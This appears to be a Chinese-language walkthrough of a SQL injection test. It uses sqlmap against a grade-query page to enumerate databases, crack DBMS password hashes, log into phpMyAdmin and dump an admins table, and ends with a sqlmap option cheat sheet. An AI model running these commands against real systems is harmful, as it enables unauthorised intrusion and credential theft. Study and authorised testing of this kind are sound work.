一次简单的sql注入记录

首先我们发现这个查询有注入点

1-2

使用sqlmap进行测试

sqlmap.py -u "http://172.16.12.60/grade/query.php?user=1"

2-2
查找所有数据库

sqlmap.py -u "http://172.16.12.60/grade/query.php?user=1" --dbs

可以注入,继续测试

3-2

发现有这几个表,我们先查看当前表和当前用户

sqlmap.py -u "http://172.16.12.60/grade/query.php?user=1" -b --current-user --current-db

4-2
Web容器banner信息:Windows
网站使用的数据库当前用户:root@localhost
网站使用的数据库名:grade

Sqlmap 还有一个非常厉害的命令 --users和--password ,可以尝试直接枚举 DBMS 的所有注册用户和对应的密码(猜解 password 字段时,因为使用了 hash 加密,所以 Sqlmap 会询问是否破解此 hash值,只需要按Enter使用缺省值就可以了

尝试了一下

sqlmap.py -u "http://172.16.12.60/grade/query.php?user=1" --users --password

居然爆出来了,是弱口令

5-2

phpMyAdmin测试数据库登录,连接成功

6-2

好的,继续我们之前的操作,我们是想得到当前表内的用户ID和字段

那么我们来猜解grade这个库里的表

sqlmap.py -u "http://172.16.12.60/grade/query.php?user=1" --tables -D grade

7-2

看到里面有admins,那么这应该是我们需要的了

猜解表内字段

sqlmap.py -u "http://172.16.12.60/grade/query.php?user=1" --columns -T admins -D grade

8-1

获得字段name,id,pass。

猜解字段内容

sqlmap.py -u "http://172.16.12.60/grade/query.php?user=1" --dump -T admins -D grade

9-1

猜解成功

Target(目标):
以下至少需要设置其中一个选项,设置目标URL。

-d (DIRECT) 直接连接到数据库。
-u (URL), –url=URL 目标URL。
-l (LIST) 从Burp或WebScarab代理的日志中解析目标。
-r (REQUESTFILE) 从一个文件中载入HTTP请求。
-g (GOOGLEDORK) 处理Google dork的结果作为目标URL。
-c (CONFIGFILE) 从INI配置文件中加载选项。

Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。

--tamper=space2comment 绕过空格 (--tamper=space2comment --dbs)
-a 检索所有内容
-b, –banner 检索数据库管理系统的标识
-D (DBname) 枚举的指定数据库名中信息
-T (TBLname) 枚举的指定数据库表中信息(eg:-T tablename –columns)
-C (COL ) 枚举的指定数据库字段(列)信息 (eg:-C flag -T flag -D web1 <---> -C 字段名 -T 表名 -D 数据库名)
-U (USER) 用来进行枚举的数据库用户
--dbs 扫描数据库信息
--tables 列出数据库所有的表信息
--columns 列出数据库表中的所有字段信息(表列)
--current-db 列出当前的数据库名称
-current-user 检索数据库管理系统当前用户
--roles 枚举用户
-dump 列出数据库中表的字段名中信息
--dump-all 列所有表的内容
--exclude-sysdbs 列举用户数据库的表内容
--common-tables暴力破解表
-is-dba 检测DBMS当前用户是否DBA
-users 枚举数据库管理系统用户
-passwords 枚举数据库管理系统用户密码哈希
-privileges 枚举数据库管理系统用户的权限
-columns 枚举DBMS数据库表列-dump 转储数据库管理系统的数据库中的表项
-search 搜索列(S),表(S)和/或数据库名称(S)
-start=LIMITSTART 第一个查询输出进入检索
-stop=LIMITSTOP 最后查询的输出进入检索
-first=FIRSTCHAR 第一个查询输出字的字符检索
-last=LASTCHAR 最后查询的输出字字符检索
-sql-query=QUERY 要执行的SQL语句
-sql-shell 提示交互式SQL的shell

文章参考:
sqlmap用于sql注入语法
sqlmap学习笔记